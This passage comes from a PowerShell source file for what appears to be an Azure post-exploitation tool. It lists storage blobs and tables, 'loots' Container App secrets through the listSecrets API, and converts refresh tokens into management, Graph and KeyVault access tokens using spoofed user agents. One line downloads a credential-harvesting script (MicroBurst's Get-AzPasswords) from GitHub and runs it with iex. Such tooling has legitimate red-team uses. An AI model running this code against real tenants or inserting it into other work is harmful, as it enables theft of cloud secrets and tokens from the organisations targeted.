| if ($selectedTableOption -eq "B") { 2438 | break 2439 | } 2440 | 2441 | if ($selectedTableOption -eq "M") { 2442 | return 2443 | } 2444 | 2445 | if ($selectedTableOption -ge 1 -and $selectedTableOption -le $tableList.Count) { 2446 | $selectedTable = $tableList[$selectedTableOption - 1].Trim() 2447 | Write-Host "`nQuerying table '$selectedTable'..." -ForegroundColor Yellow 2448 | 2449 | # Prompt for the number of entries to display 2450 | Write-Host "Enter the number of entries to display, or press Enter to show all entries:" -ForegroundColor Yellow 2451 | $entries = Read-Host 2452 | $numResultsArg = if ($entries -eq "") { @() } else { @("--num-results", $entries) } 2453 | 2454 | # Query table items 2455 | $tableItems = if ($authChoice -eq "1") { 2456 | & az storage entity query --account-name $accountName --table-name $selectedTable @($numResultsArg) --auth-mode login -o table | Out-String 2457 | } elseif ($authChoice -eq "2") { 2458 | & az storage entity query --account-name $accountName --table-name $selectedTable @($numResultsArg) --sas-token "`"$sasToken`"" -o table | Out-String 2459 | } elseif ($authChoice -eq "3") { 2460 | & az storage entity query --account-name $accountName --table-name $selectedTable @($numResultsArg) --connection-string "$connectionString" -o table | Out-String 2461 | } 2462 | 2463 | Write-Host $tableItems -ForegroundColor DarkMagenta 2464 | Write-Host "`nPress any key to return to table selection..." 2465 | [void][System.Console]::ReadKey($true) 2466 | } else { 2467 | Write-Host "Invalid selection, no table chosen." -ForegroundColor Red 2468 | } 2469 | } 2470 | } 2471 | } else { 2472 | Write-Host "No valid selection or resources." -ForegroundColor Red 2473 | } 2474 | } else { 2475 | Write-Host "No containers or tables found in the storage account." -ForegroundColor Red 2476 | } 2477 | } 2478 | catch { 2479 | Write-Host "Error retrieving storage resources: $_" -ForegroundColor Red 2480 | } 2481 | 2482 | Write-Host "`nPress any key to return to the storage menu..." 2483 | [void][System.Console]::ReadKey($true) 2484 | } 2485 | 2486 | # Function to list blobs in a storage container 2487 | function ListBlobsInContainer { 2488 | while ($true) { 2489 | Clear-Host 2490 | DisplayHeader 2491 | Write-Host "List Storage Resources" -ForegroundColor Cyan 2492 | Write-Host "Select tool(s) to use:" -ForegroundColor Yellow 2493 | Write-Host "1. Azure CLI" -ForegroundColor Yellow 2494 | Write-Host "2. Az PS Module (Current Account only)" -ForegroundColor Yellow 2495 | Write-Host "M. Return to Main Menu" -ForegroundColor Yellow 2496 | $toolChoice = Read-Host 2497 | 2498 | if ($toolChoice -eq "M") { 2499 | return 2500 | } 2501 | 2502 | Write-Host "Enter the storage account name:" -ForegroundColor Yellow 2503 | $accountName = Read-Host 2504 | 2505 | while ($true) { 2506 | Write-Host "Do you want to list available containers or provide a container name manually?" -ForegroundColor Yellow 2507 | Write-Host "1. List available containers" -ForegroundColor Yellow 2508 | Write-Host "2. Enter container name manually" -ForegroundColor Yellow 2509 | Write-Host "B. Back to Tool Selection" -ForegroundColor Yellow 2510 | Write-Host "M. Return to Main Menu" -ForegroundColor Yellow 2511 | $operationChoice = Read-Host 2512 | 2513 | if ($operationChoice -eq "M") { 2514 | return 2515 | } 2516 | if ($operationChoice -eq "B") { 2517 | break 2518 | } 2519 | 2520 | $containers = @() 2521 | $selectedContainer = "" 2522 | 2523 | if ($operationChoice -eq "1") { 2524 | try { 2525 | if ($toolChoice -eq "1") { 2526 | Clear-Host 2527 | DisplayHeader 2528 | Write-Host "Using Azure CLI to list containers..." -ForegroundColor Magenta 2529 | Write-Host "Select authentication method:" -ForegroundColor Yellow 2530 | Write-Host "1. Current Account" -ForegroundColor Yellow 2531 | Write-Host "2. SAS Token" -ForegroundColor Yellow 2532 | Write-Host "3. Connection String" -ForegroundColor Yellow 2533 | $authChoice = Read-Host 2534 | 2535 | $sasToken = "" 2536 | $connectionString = "" 2537 | 2538 | if ($authChoice -eq "2") { 2539 | Write-Host "Enter SAS token:" -ForegroundColor Yellow 2540 | $sasToken = Read-Host 2541 | } elseif ($authChoice -eq "3") { 2542 | Write-Host "Enter Connection String:" -ForegroundColor Yellow 2543 | $connectionString = Read-Host 2544 | } 2545 | 2546 | if ($authChoice -eq "1") { 2547 | Clear-Host 2548 | DisplayHeader 2549 | Write-Host "We need to re-login with the scope https://storage.azure.com/.default" -ForegroundColor Magenta 2550 | Write-Host "Login interactively or as Service Principal?" 2551 | Write-Host "1. Interactively" -ForegroundColor Yellow 2552 | Write-Host "2. Service Principal" -ForegroundColor Yellow 2553 | $select = Read-Host 2554 | if ($select -eq "1") { 2555 | az login --scope "https://storage.azure.com/.default" 2556 | } elseif ($select -eq "2") { 2557 | Write-Host "Enter the application (client) ID:" -ForegroundColor Yellow 2558 | $appId = Read-Host 2559 | Write-Host "Enter the client secret:" -ForegroundColor Yellow 2560 | $clientSecret = Read-Host 2561 | az login --service-principal -u $appId -p $clientSecret --tenant $Global:tenantId --scope "https://storage.azure.com/.default" 2562 | } 2563 | } 2564 | 2565 | if ($authChoice -eq "1") { 2566 | $containerOutput = az storage container list --account-name $accountName --query "[].name" -o tsv --auth-mode login 2567 | } elseif ($authChoice -eq "2") { 2568 | $containerOutput = az storage container list --account-name $accountName --sas-token "`"$sasToken`"" --query "[].name" -o tsv 2569 | } elseif ($authChoice -eq "3") { 2570 | $containerOutput = az storage container list --account-name $accountName --query "[].name" -o tsv --connection-string "$connectionString" 2571 | } 2572 | 2573 | $containers = @($containerOutput -split "`r?`n" | Where-Object { $_ -ne "" }) 2574 | 2575 | } elseif ($toolChoice -eq "2") { 2576 | Clear-Host 2577 | DisplayHeader 2578 | Write-Host "Using Az PowerShell Module to list containers..." -ForegroundColor Magenta 2579 | $context = New-AzStorageContext -StorageAccountName $accountName 2580 | $containerList = Get-AzStorageContainer -Context $context 2581 | $containers = @($containerList | ForEach-Object { $_.Name }) 2582 | } 2583 | 2584 | if ($containers.Count -gt 0) { 2585 | Write-Host "`nAvailable Containers:" -ForegroundColor Yellow 2586 | for ($i = 0; $i -lt $containers.Count; $i++) { 2587 | Write-Host "$($i + 1). $($containers[$i])" -ForegroundColor Green 2588 | } 2589 | Write-Host "Select a container by number or 'B' to go back:" -ForegroundColor Cyan 2590 | $selectedContainerIndex = Read-Host 2591 | if ($selectedContainerIndex -eq "B") { 2592 | break 2593 | } 2594 | 2595 | if ($selectedContainerIndex -ge 1 -and $selectedContainerIndex -le $containers.Count) { 2596 | $selectedContainer = $containers[$selectedContainerIndex - 1] 2597 | } else { 2598 | Write-Host "Invalid selection, no container chosen." -ForegroundColor Red 2599 | continue 2600 | } 2601 | } else { 2602 | throw "No containers found or access denied." 2603 | } 2604 | } catch { 2605 | Write-Host "Error retrieving containers: $_" -ForegroundColor Red 2606 | Write-Host "No containers found. Please enter a container name manually." -ForegroundColor Red 2607 | } 2608 | } 2609 | 2610 | # Ask for manual container name if no container is selected 2611 | if ($operationChoice -eq "2" -or $selectedContainer -eq "") { 2612 | Write-Host "Enter the container name:" -ForegroundColor Yellow 2613 | $selectedContainer = Read-Host 2614 | } 2615 | 2616 | # Check if the user wants to go back 2617 | if ($selectedContainer -eq "M") { 2618 | return 2619 | } 2620 | if ($selectedContainer -eq "B") { 2621 | break 2622 | } 2623 | 2624 | # Process blobs in the selected container 2625 | while ($true) { 2626 | try { 2627 | $blobs = @() 2628 | if ($toolChoice -eq "1") { 2629 | Clear-Host 2630 | DisplayHeader 2631 | Write-Host "Using Azure CLI to list blobs..." -ForegroundColor Magenta 2632 | $blobOutput = az storage blob list --account-name $accountName --container-name $selectedContainer --auth-mode login --query "[].name" -o tsv 2633 | $blobs = @($blobOutput -split "`r?`n" | Where-Object { $_ -ne "" }) 2634 | } elseif ($toolChoice -eq "2") { 2635 | Clear-Host 2636 | DisplayHeader 2637 | Write-Host "Using Az PowerShell Module to list blobs..." -ForegroundColor Magenta 2638 | $context = New-AzStorageContext -StorageAccountName $accountName 2639 | $blobList = Get-AzStorageBlob -Container $selectedContainer -Context $context 2640 | $blobs = @($blobList | ForEach-Object { $_.Name }) 2641 | } 2642 | 2643 | if ($blobs.Count -gt 0) { 2644 | Write-Host "`nBlobs found:" -ForegroundColor Yellow 2645 | for ($i = 0; $i -lt $blobs.Count; $i++) { 2646 | Write-Host "$($i + 1). $($blobs[$i])" -ForegroundColor Green 2647 | } 2648 | Write-Host "Select a blob to view content or 'B' to go back:" -ForegroundColor Cyan 2649 | $selectedBlobIndex = Read-Host 2650 | if ($selectedBlobIndex -eq "B") { 2651 | break 2652 | } 2653 | 2654 | if ($selectedBlobIndex -ge 1 -and $selectedBlobIndex -le $blobs.Count) { 2655 | $selectedBlob = $blobs[$selectedBlobIndex - 1].Trim() 2656 | Write-Host "`nBlob selected: $selectedBlob" -ForegroundColor Yellow 2657 | 2658 | try { 2659 | if ($toolChoice -eq "1") { 2660 | Write-Host "`nViewing content of blob '$selectedBlob' using Azure CLI..." -ForegroundColor Yellow 2661 | az storage blob download --account-name $accountName --container-name $selectedContainer --name $selectedBlob --file "$selectedBlob" --auth-mode login --output none 2662 | Write-Host "`nContent of the blob:" -ForegroundColor Cyan 2663 | Get-Content -Path "$selectedBlob" | Write-Host -ForegroundColor DarkMagenta 2664 | Remove-Item -Path "$selectedBlob" -Force # Clean up the downloaded blob 2665 | Pause 2666 | } elseif ($toolChoice -eq "2") { 2667 | Write-Host "`nViewing content of blob '$selectedBlob' using Az PowerShell Module..." -ForegroundColor Yellow 2668 | Get-AzStorageBlobContent -Container $selectedContainer -Blob $selectedBlob -Context $context -Destination "$selectedBlob" -Force 2669 | Write-Host "`nContent of the blob:" -ForegroundColor Cyan 2670 | Get-Content -Path "$selectedBlob" | Write-Host -ForegroundColor DarkMagenta 2671 | Remove-Item -Path "$selectedBlob" -Force # Clean up the downloaded blob 2672 | Pause 2673 | } 2674 | } catch { 2675 | Write-Host "Error viewing blob content: $_" -ForegroundColor Red 2676 | } 2677 | } else { 2678 | Write-Host "Invalid selection, try again." -ForegroundColor Red 2679 | } 2680 | } else { 2681 | Write-Host "No blobs found in the container." -ForegroundColor Red 2682 | break 2683 | } 2684 | } catch { 2685 | Write-Host "Error retrieving blobs: $_" -ForegroundColor Red 2686 | } 2687 | } 2688 | } 2689 | } 2690 | } 2691 | 2692 | 2693 | # Container Apps Management Menu 2694 | function LootContainerAppsMenu { 2695 | while ($true) { 2696 | Clear-Host 2697 | DisplayHeader 2698 | Write-Host "Container Apps Menu" -ForegroundColor Cyan 2699 | Write-Host "1. List All Container Apps" 2700 | Write-Host "2. Loot Container App" 2701 | Write-Host "B. Return to Main Menu" 2702 | 2703 | $userInput = Read-Host -Prompt "Select an option" 2704 | switch ($userInput) { 2705 | "1" { 2706 | ListContainerApps 2707 | } 2708 | "2" { 2709 | LootContainerApp 2710 | } 2711 | "B" { 2712 | return 2713 | } 2714 | default { 2715 | Write-Host "Invalid selection, please try again." 2716 | Write-Host "`nPress any key to continue..." 2717 | [void][System.Console]::ReadKey($true) 2718 | } 2719 | } 2720 | } 2721 | } 2722 | 2723 | # Function to list all Azure Container Apps 2724 | function ListContainerApps { 2725 | Clear-Host 2726 | DisplayHeader 2727 | Write-Host "List All Container Apps" -ForegroundColor Cyan 2728 | Write-Host "Select tool(s) to use:" -ForegroundColor Yellow 2729 | Write-Host "1. Azure CLI" -ForegroundColor Yellow 2730 | Write-Host "2. Az PS Module" -ForegroundColor Yellow 2731 | Write-Host "4. All" -ForegroundColor Yellow 2732 | $toolChoice = Read-Host 2733 | 2734 | Start-Sleep -Seconds 2 2735 | 2736 | try { 2737 | Clear-Host 2738 | DisplayHeader 2739 | 2740 | if ($toolChoice -eq "1" -or $toolChoice -eq "4") { 2741 | Write-Host "AZ CLI output:" -ForegroundColor Magenta 2742 | Write-Host "The following Container Apps were found:" -ForegroundColor Cyan 2743 | $cliOutput = az containerapp list --query "[].name" -o tsv | Out-String 2744 | Write-Host $cliOutput 2745 | } 2746 | 2747 | if ($toolChoice -eq "2" -or $toolChoice -eq "4") { 2748 | Write-Host "AZ PS Module output:" -ForegroundColor Magenta 2749 | Write-Host "The following Container Apps were found:" -ForegroundColor Cyan 2750 | $psOutput = Get-AzContainerApp | Format-Table | Out-String 2751 | Write-Host $psOutput 2752 | } 2753 | } 2754 | catch { 2755 | Write-Host "Error retrieving container apps: $_" -ForegroundColor Red 2756 | } 2757 | 2758 | Write-Host "`nPress any key to return to the container apps menu..." 2759 | [void][System.Console]::ReadKey($true) 2760 | } 2761 | 2762 | # Function to loot a Container App 2763 | function LootContainerApp { 2764 | Clear-Host 2765 | DisplayHeader 2766 | Write-Host "Manage Specific Container App" -ForegroundColor Cyan 2767 | 2768 | Write-Host "Select tool(s) to use:" -ForegroundColor Yellow 2769 | Write-Host "1. Azure CLI" -ForegroundColor Yellow 2770 | Write-Host "2. Az PS Module" -ForegroundColor Yellow 2771 | $toolChoice = Read-Host 2772 | 2773 | Start-Sleep -Seconds 2 2774 | 2775 | # Store container apps with their resource group names 2776 | $containerAppsDictionary = @{} 2777 | 2778 | try { 2779 | # List container apps using Azure CLI or Az PowerShell 2780 | if ($toolChoice -eq "1") { 2781 | Write-Host "Fetching Container Apps using Azure CLI..." -ForegroundColor Magenta 2782 | $cliOutput = az containerapp list --query "[].{name:name, rg:resourceGroup}" -o json | ConvertFrom-Json 2783 | foreach ($app in $cliOutput) { 2784 | $containerAppsDictionary[$app.name] = $app.rg 2785 | } 2786 | } elseif ($toolChoice -eq "2") { 2787 | Write-Host "Fetching Container Apps using Az PowerShell Module..." -ForegroundColor Magenta 2788 | $psOutput = Get-AzContainerApp | Select-Object Name, ResourceGroupName 2789 | foreach ($app in $psOutput) { 2790 | $containerAppsDictionary[$app.Name] = $app.ResourceGroupName 2791 | } 2792 | } else { 2793 | Write-Host "Invalid selection, returning to container apps menu." -ForegroundColor Red 2794 | return 2795 | } 2796 | 2797 | $containerAppNames = @($containerAppsDictionary.Keys) 2798 | 2799 | if ($containerAppNames.Count -gt 0) { 2800 | while ($true) { 2801 | Write-Host "Select a Container App to manage:" -ForegroundColor Yellow 2802 | for ($i = 0; $i -lt $containerAppNames.Count; $i++) { 2803 | Write-Host "$($i + 1). $($containerAppNames[$i])" -ForegroundColor Green 2804 | } 2805 | Write-Host "B. Back to Container Apps Menu" -ForegroundColor Cyan 2806 | Write-Host "M. Return to main menu" -ForegroundColor Cyan 2807 | 2808 | $selectedOption = Read-Host "Enter a number to select a container app, 'B', or 'M'" 2809 | 2810 | if ($selectedOption -eq "B") { 2811 | continue 2812 | } 2813 | 2814 | if ($selectedOption -eq "M") { 2815 | return 2816 | } 2817 | 2818 | if ($selectedOption -ge 1 -and $selectedOption -le $containerAppNames.Count) { 2819 | $selectedApp = $containerAppNames[$selectedOption - 1] 2820 | $selectedRg = $containerAppsDictionary[$selectedApp] 2821 | Write-Host "`nManaging Container App '$selectedApp' in Resource Group '$selectedRg'..." -ForegroundColor Yellow 2822 | 2823 | if ($toolChoice -eq "1") { 2824 | $appDetails = az containerapp show --name $selectedApp --resource-group $selectedRg --output json 2825 | } elseif ($toolChoice -eq "2") { 2826 | $appDetails = Get-AzContainerApp -Name $selectedApp -ResourceGroupName $selectedRg | ConvertTo-Json 2827 | } 2828 | 2829 | $appDetailsJson = $appDetails | ConvertFrom-Json 2830 | Write-Host "Name: $($appDetailsJson.name)" 2831 | Write-Host "Id: $($appDetailsJson.Id)" 2832 | Write-Host "Secret: $($appDetailsJson.configuration.secret)" 2833 | Write-Host "Identity Type: $($appDetailsJson.IdentityType)" 2834 | Write-Host "SP Id: $($appDetailsJson.IdentityPrincipalId)" 2835 | 2836 | if ($appDetailsJson.configuration.secret) { 2837 | Write-Host "Secrets found in configuration. Would you like to list secrets? (Y/N)" -ForegroundColor Yellow 2838 | $secretChoice = Read-Host 2839 | if ($secretChoice -eq "Y") { 2840 | # Construct URI based on app ID 2841 | $baseUri = "https://management.azure.com" 2842 | $appId = $appDetailsJson.id 2843 | $secretUri = "${baseUri}${appId}/listSecrets?api-version=2024-03-01" 2844 | 2845 | # Get access token 2846 | $token = if ($toolChoice -eq "1") { 2847 | $tokenResponse = az account get-access-token --query accessToken -o tsv 2848 | $tokenResponse 2849 | } elseif ($toolChoice -eq "2") { 2850 | $tokenResponse = Get-AzAccessToken 2851 | $tokenResponse.Token 2852 | } 2853 | 2854 | # Fetch secrets 2855 | $headers = @{ 2856 | 'Authorization' = "Bearer $token" 2857 | 'Content-Type' = 'application/json' 2858 | } 2859 | 2860 | try { 2861 | $secrets = Invoke-RestMethod -Uri $secretUri -Method POST -Headers $headers 2862 | Write-Host "Secrets: " -ForegroundColor Green 2863 | if ($secrets.value) { 2864 | foreach ($secret in $secrets.value) { 2865 | Write-Host "Name: $($secret.name)" -ForegroundColor DarkMagenta 2866 | Write-Host "Content: $($secret.value)" -ForegroundColor DarkMagenta 2867 | # Add any additional properties that might be relevant 2868 | } 2869 | } else { 2870 | Write-Host "No secrets found." -ForegroundColor Yellow 2871 | } 2872 | } 2873 | catch { 2874 | Write-Host "Error fetching secrets: $_" -ForegroundColor Red 2875 | } 2876 | } 2877 | } 2878 | } else { 2879 | Write-Host "Invalid selection, no Container App chosen." -ForegroundColor Red 2880 | } 2881 | } 2882 | } else { 2883 | Write-Host "No Container Apps found." -ForegroundColor Red 2884 | } 2885 | } 2886 | catch { 2887 | Write-Host "Error managing container apps: $_" -ForegroundColor Red 2888 | } 2889 | 2890 | Write-Host "`nPress any key to return to the container apps menu..." 2891 | [void][System.Console]::ReadKey($true) 2892 | } 2893 | 2894 | <# 2895 | Function to invoke Get-AzPasswords directly from GitHub https://github.com/NetSPI/MicroBurst/blob/master/Az/Get-AzPasswords.ps1 2896 | MicroBurst is provided under the 3-clause BSD license below. 2897 | 2898 | ************************************************************* 2899 | 2900 | Copyright (c) 2018, NetSPI 2901 | All rights reserved. 2902 | 2903 | Redistribution and use in source and binary forms, with or without 2904 | modification, are permitted provided that the following conditions are met: 2905 | 2906 | * Redistributions of source code must retain the above copyright notice, this 2907 | list of conditions and the following disclaimer. 2908 | 2909 | * Redistributions in binary form must reproduce the above copyright notice, 2910 | this list of conditions and the following disclaimer in the documentation 2911 | and/or other materials provided with the distribution. 2912 | 2913 | * Neither the name of MicroBurst nor the names of its 2914 | contributors may be used to endorse or promote products derived from 2915 | this software without specific prior written permission. 2916 | 2917 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 2918 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 2919 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 2920 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 2921 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 2922 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 2923 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 2924 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 2925 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 2926 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 2927 | #> 2928 | function LootAzPasswords { 2929 | Clear-Host 2930 | DisplayHeader 2931 | Write-Host "Looting possible passwords via MicroBurt's Get-AzPasswords" -ForegroundColor Cyan 2932 | 2933 | # Download and execute the script 2934 | # Check if Get-AzPasswords Module is available 2935 | if (Get-Command -Name Get-AzPasswords -ErrorAction SilentlyContinue) { 2936 | Write-Host "Get-AzPasswords is already available." -ForegroundColor Green 2937 | } else { 2938 | Write-Host "Get-AzPasswords is not available." -ForegroundColor Red 2939 | Write-Host "Downloading and running Get-AzPasswords.ps1 from GitHub..." -ForegroundColor Yellow 2940 | iex(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/MicroBurst/refs/heads/master/Az/Get-AzPasswords.ps1") 2941 | } 2942 | Get-AzPasswords -Verbose | Out-GridView 2943 | 2944 | Write-Host "`nPress any key to return to the Loot menu..." 2945 | [void][System.Console]::ReadKey($true) 2946 | } 2947 | 2948 | <# 2949 | BSD 3-Clause License 2950 | 2951 | Copyright (c) 2021, Steve Borosh 2952 | All rights reserved. 2953 | 2954 | Redistribution and use in source and binary forms, with or without 2955 | modification, are permitted provided that the following conditions are met: 2956 | 2957 | 1. Redistributions of source code must retain the above copyright notice, this 2958 | list of conditions and the following disclaimer. 2959 | 2960 | 2. Redistributions in binary form must reproduce the above copyright notice, 2961 | this list of conditions and the following disclaimer in the documentation 2962 | and/or other materials provided with the distribution. 2963 | 2964 | 3. Neither the name of the copyright holder nor the names of its 2965 | contributors may be used to endorse or promote products derived from 2966 | this software without specific prior written permission. 2967 | 2968 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 2969 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 2970 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 2971 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 2972 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 2973 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 2974 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 2975 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 2976 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 2977 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 2978 | Using functions from TokenTactics v2 from Fabian Bader to convert Refresh Tokens to Access Tokens 2979 | https://github.com/f-bader/TokenTacticsV2 2980 | #> 2981 | function TokensMenu { 2982 | while ($true) { 2983 | Clear-Host 2984 | DisplayHeader 2985 | Write-Host "Tokens Menu with Functions from Fabian Bader's TokenTactics v2" -ForegroundColor Cyan 2986 | Write-Host "1. Invoke-RefreshToAzureManagementToken - needed for Az PowerShell Module" 2987 | Write-Host "2. Invoke-RefreshToAzureCoreManagementToken" 2988 | Write-Host "3. Invoke-RefreshToMsGraphToken - needed for Graph PowerShell Module" 2989 | Write-Host "4. Invoke-RefreshToAzureKeyVaultToken - needed to login to Azure PS for KeyVault Access" 2990 | Write-Host "B. Return to Main Menu" 2991 | 2992 | $userInput = Read-Host -Prompt "Select an option" 2993 | switch ($userInput) { 2994 | "1" { 2995 | Invoke-RefreshToAzureManagementToken 2996 | } 2997 | "2" { 2998 | Invoke-RefreshToAzureCoreManagementToken 2999 | } 3000 | "3" { 3001 | Invoke-RefreshToMsGraphToken 3002 | } 3003 | "4" { 3004 | Invoke-RefreshToAzureKeyVaultToken 3005 | } 3006 | "B" { 3007 | return 3008 | } 3009 | default { 3010 | Write-Host "Invalid selection, please try again." 3011 | Write-Host "`nPress any key to continue..." 3012 | [void][System.Console]::ReadKey($true) 3013 | } 3014 | } 3015 | } 3016 | } 3017 | 3018 | function Invoke-RefreshToToken { 3019 | [CmdletBinding()] 3020 | param ( 3021 | [Alias("ResourceTenant")] 3022 | [Parameter(Mandatory = $true)] 3023 | [string]$Domain, 3024 | [Parameter(Mandatory = $true)] 3025 | [string]$refreshToken, 3026 | [Parameter(Mandatory = $true)] 3027 | [string]$ClientID, 3028 | [Parameter(Mandatory = $true)] 3029 | [string]$Scope, 3030 | [Parameter(Mandatory = $false)] 3031 | [string]$Resource, 3032 | [Parameter(Mandatory = $False)] 3033 | [string]$CustomUserAgent, 3034 | [Parameter(Mandatory = $False)] 3035 | [string]$Device, 3036 | [Parameter(Mandatory = $False)] 3037 | [string]$Browser, 3038 | [Parameter(Mandatory = $False)] 3039 | [Switch]$UseCAE, 3040 | [Parameter(Mandatory = $False)] 3041 | [Switch]$UseDoD, 3042 | [Parameter(Mandatory = $False)] 3043 | [Switch]$UseV1Endpoint 3044 | 3045 | ) 3046 | 3047 | if ($CustomUserAgent) { 3048 | $UserAgent = $CustomUserAgent 3049 | } elseif ($Device) { 3050 | if ($Browser) { 3051 | $UserAgent = Invoke-ForgeUserAgent -Device $Device -Browser $Browser 3052 | } else { 3053 | $UserAgent = Invoke-ForgeUserAgent -Device $Device 3054 | } 3055 | } elseif ($Browser) { 3056 | $UserAgent = Invoke-ForgeUserAgent -Browser $Browser 3057 | } else { 3058 | $UserAgent = Invoke-ForgeUserAgent 3059 | } 3060 | 3061 | Write-Verbose "UserAgent: $UserAgent" 3062 | 3063 | $Headers = @{} 3064 | $Headers["User-Agent"] = $UserAgent 3065 | 3066 | $TenantId = $Global:tenantID 3067 | if ($UseDoD) { 3068 | $authUrl = "https://login.microsoftonline.us/$($TenantId)" 3069 | } else { 3070 | $authUrl = "https://login.microsoftonline.com/$($TenantId)" 3071 | } 3072 | 3073 | 3074 | Write-Verbose $refreshToken 3075 | 3076 | $body = @{ 3077 | "scope" = $Scope 3078 | "client_id" = $ClientId 3079 | "grant_type" = "refresh_token" 3080 | "refresh_token" = $refreshToken 3081 | } 3082 | 3083 | if ($UseCAE) { 3084 | # Add 'cp1' as client claim to get a access token valid for 24 hours 3085 | $Claims = ( @{"access_token" = @{ "xms_cc" = @{ "values" = @("cp1") } } } | ConvertTo-Json -Compress -Depth 99 ) 3086 | $body.Add("claims", $Claims) 3087 | } 3088 | 3089 | if ($Resource) { 3090 | $body.Add("resource", $Resource) 3091 | } 3092 | 3093 | Write-Verbose ( $body | ConvertTo-Json -Depth 99) 3094 | 3095 | if ($UseV1Endpoint) { 3096 | $uri = "$($authUrl)/oauth2/token" 3097 | } else { 3098 | $uri = "$($authUrl)/oauth2/v2.0/token" 3099 | } 3100 | 3101 | $Token = Invoke-RestMethod -UseBasicParsing -Method Post -Uri $uri -Headers $Headers -Body $body 3102 | return $Token 3103 | } 3104 | 3105 | function Invoke-RefreshToAzureManagementToken { 3106 | <# 3107 | .DESCRIPTION 3108 | Generate a Microsoft Azure Management token from a refresh token. 3109 | .EXAMPLE 3110 | Invoke-RefreshToAzureManagementToken -RefreshToken ey.... 3111 | $AzureManagementToken.access_token 3112 | #> 3113 | [cmdletbinding()] 3114 | param( 3115 | [Alias("ResourceTenant")] 3116 | [Parameter(Mandatory = $false)] 3117 | [string]$Domain, 3118 | [Parameter(Mandatory = $true)] 3119 | [string]$RefreshToken = $response.refresh_token, 3120 | [Parameter(Mandatory = $false)] 3121 | $ClientId = "d3590ed6-52b3-4102-aeff-aad2292ab01c", 3122 | [Parameter(Mandatory = $False)] 3123 | [string]$CustomUserAgent, 3124 | [Parameter(Mandatory = $False)] 3125 | [ValidateSet('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2')] 3126 | [string]$Device, 3127 | [Parameter(Mandatory = $False)] 3128 | [ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')] 3129 | [string]$Browser, 3130 | [Parameter(Mandatory = $False)] 3131 | [Switch]$UseCAE 3132 | ) 3133 | 3134 | # Define initial parameters 3135 | $Parameters = @{ 3136 | Domain = $Global:tenantid 3137 | refreshToken = $RefreshToken 3138 | ClientID = $ClientId 3139 | UseCAE = $UseCAE 3140 | Scope = "https://management.azure.com/.default offline_access openid" 3141 | } 3142 | 3143 | # Device and Browser options 3144 | $deviceOptions = @('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2', 'PlayStation') 3145 | $browserOptions = @('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari') 3146 | 3147 | # Prompt user for custom headers 3148 | Write-Host "Would you like to specify a custom Device and Browser header? (Y/N)" -ForegroundColor Yellow 3149 | $customHeaders = Read-Host 3150 | 3151 | if ($customHeaders -eq "Y") { 3152 | # Display device options 3153 | Write-Host "Select Device:" -ForegroundColor Yellow 3154 | for ($i = 0; $i -lt $deviceOptions.Count; $i++) { 3155 | Write-Host "$($i + 1). $($deviceOptions[$i])" 3156 | } 3157 | $selectedDeviceIndex = Read-Host "Enter the number corresponding to the Device" 3158 | $Parameters.Device = $deviceOptions[$selectedDeviceIndex - 1] 3159 | 3160 | # Display browser options 3161 | Write-Host "Select Browser:" -ForegroundColor Yellow 3162 | for ($i = 0; $i -lt $browserOptions.Count; $i++) { 3163 | Write-Host "$($i + 1). $($browserOptions[$i])" 3164 | } 3165 | $selectedBrowserIndex = Read-Host "Enter the number corresponding to the Browser" 3166 | $Parameters.Browser = $browserOptions[$selectedBrowserIndex - 1] 3167 | } 3168 | 3169 | # Invoke the token retrieval function 3170 | $Global:AzureManagementToken = Invoke-RefreshToToken @Parameters 3171 | 3172 | Write-Host ("Token acquired") -ForegroundColor Green 3173 | Write-Host ("Type: $($AzureManagementToken.token_type)") -ForegroundColor Green 3174 | Write-Host ("Scope: $($AzureManagementToken.scope)") -ForegroundColor Green 3175 | Write-Host ("Expires in: $($AzureManagementToken.expires_in)") -ForegroundColor Green 3176 | Write-Host ("FOCI: $($AzureManagementToken.foci)") -ForegroundColor Green 3177 | Write-Host ("Access Token: $($AzureManagementToken.access_token)") -ForegroundColor DarkMagenta 3178 | Pause 3179 | } 3180 | 3181 | function Invoke-RefreshToAzureCoreManagementToken { 3182 | <# 3183 | .DESCRIPTION 3184 | Generate a Microsoft Azure Core Mangement token from a refresh token. 3185 | .EXAMPLE 3186 | 